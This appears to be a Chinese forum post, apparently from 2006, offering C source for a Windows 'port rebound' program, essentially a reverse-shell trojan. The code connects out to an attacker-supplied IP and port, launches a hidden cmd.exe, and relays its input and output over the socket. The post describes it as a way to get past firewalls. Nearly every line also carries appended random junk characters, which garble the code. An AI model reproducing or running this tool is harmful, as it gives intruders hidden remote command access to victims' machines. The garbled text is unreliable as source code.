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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =kf"%vFV  
\._|_+HiW  
/* ============================== :>/6:c?atG  
Rebound port in Windows NT CYlS8j  
By wind,2006/7 LJom+PxF$x  
===============================*/ VkO*+"cGv  
#include Y;'SD{On  
#include hzU(XW  
'c_K[p$  
#pragma comment(lib,"wsock32.lib") 1{wbC)  
xQ2: tY#?  
void OutputShell(); \ @[Q3.VX  
SOCKET sClient; !!ma]pB,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K- $,:28  
2% /Kf}+  
void main(int argc,char **argv) "$aoIXv  
{ 3Fxr=  
WSADATA stWsaData; ##} 7cFX  
int nRet; awI{%u_(nA  
SOCKADDR_IN stSaiClient,stSaiServer; }'faf{W  
6(BgnH8oc  
if(argc != 3) Br15S};Ce  
{ Nu OxEyC  
printf("Useage:\n\rRebound DestIP DestPort\n"); Vh>cV  
return; 2wDDVUwyB  
} gWoUE7.3`  
Nd+1r|e'  
WSAStartup(MAKEWORD(2,2),&stWsaData); GKjtX?~1  
u>G9r#~`k  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9zS   
x(xi%?G  
stSaiClient.sin_family = AF_INET; `R>z{-@=  
stSaiClient.sin_port = htons(0); KQvSeH>r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~**x_ v  
K[ [6A:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %q~q,=H$]  
{ fm`V2'Rm  
printf("Bind Socket Failed!\n"); A)V*faD  
return; 01n132k  
} y4LUC;[n  
ggiy{CdR  
stSaiServer.sin_family = AF_INET; <9piKtb|L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?Pp*BB,*y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IVkB)9IW  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]@b9m  
{ ,[t? $Cy ;  
printf("Connect Error!"); c{_JPy  
return; \@WVeFr  
} dS3\P5D.*c  
OutputShell(); 1+WVh7gF  
} i>]PW|]  
5 7t.Ud  
void OutputShell() 1kw*Q:   
{ )dqNN tS  
char szBuff[1024]; mJ=V <_  
SECURITY_ATTRIBUTES stSecurityAttributes; \wk;Bo  
OSVERSIONINFO stOsversionInfo; =JgR c7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; R ZQH#+*t}  
STARTUPINFO stStartupInfo; 80_w_i+  
char *szShell; * 4Ldh}S!  
PROCESS_INFORMATION stProcessInformation; 16Jq*hKU  
unsigned long lBytesRead; 5lJL[{  
^/#G,MxNy  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -{k8^o7$  
N0Y4m_dm*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y.J>}[\&x  
stSecurityAttributes.lpSecurityDescriptor = 0; }8#Ed;%K  
stSecurityAttributes.bInheritHandle = TRUE; bT&{8a  
`=P_ed%&'  
Mmu#hb|W  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H$C*&p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lFnYQab  
lTP#6zqfv  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Xd5s8C/}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o2U5irU  
stStartupInfo.wShowWindow = SW_HIDE; <j>;5!4!}  
stStartupInfo.hStdInput = hReadPipe; )\EIXTZY=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ec}%!p_$  
DAP/  
GetVersionEx(&stOsversionInfo); NytTyk)  
T|wz%P<J  
switch(stOsversionInfo.dwPlatformId) h !K" ;qw  
{ n#b{  
case 1: 5;HGS{`  
szShell = "command.com"; |[Fb&x  
break; ]6[+tpx  
default: 3CjixXaA$  
szShell = "cmd.exe"; aG^E^^Y  
break; v9-4yZU^WR  
}  IPK1g3Z  
xh$yXP0/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); h!%y,4IBR  
xxvt<J  
send(sClient,szMsg,77,0); Yq6 @R|u  
while(1) Ca5#'3Eh  
{ >Ti%Th,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J ( d[05x0  
if(lBytesRead) Ih|4ISI  
{ [)s4:V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &RARK8 ^  
send(sClient,szBuff,lBytesRead,0); xS tsw5d  
} 6h)_{| L)  
else ]"uG04"Vk  
{ *>:phs~r{  
lBytesRead=recv(sClient,szBuff,1024,0); 8Iw)]}T'  
if(lBytesRead<=0) break; {+hABusq  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .=J- !{z  
} o cW~I3  
} 6,q_ M(;c  
7;AK=;  
return; r^}0 qO,XM  
}
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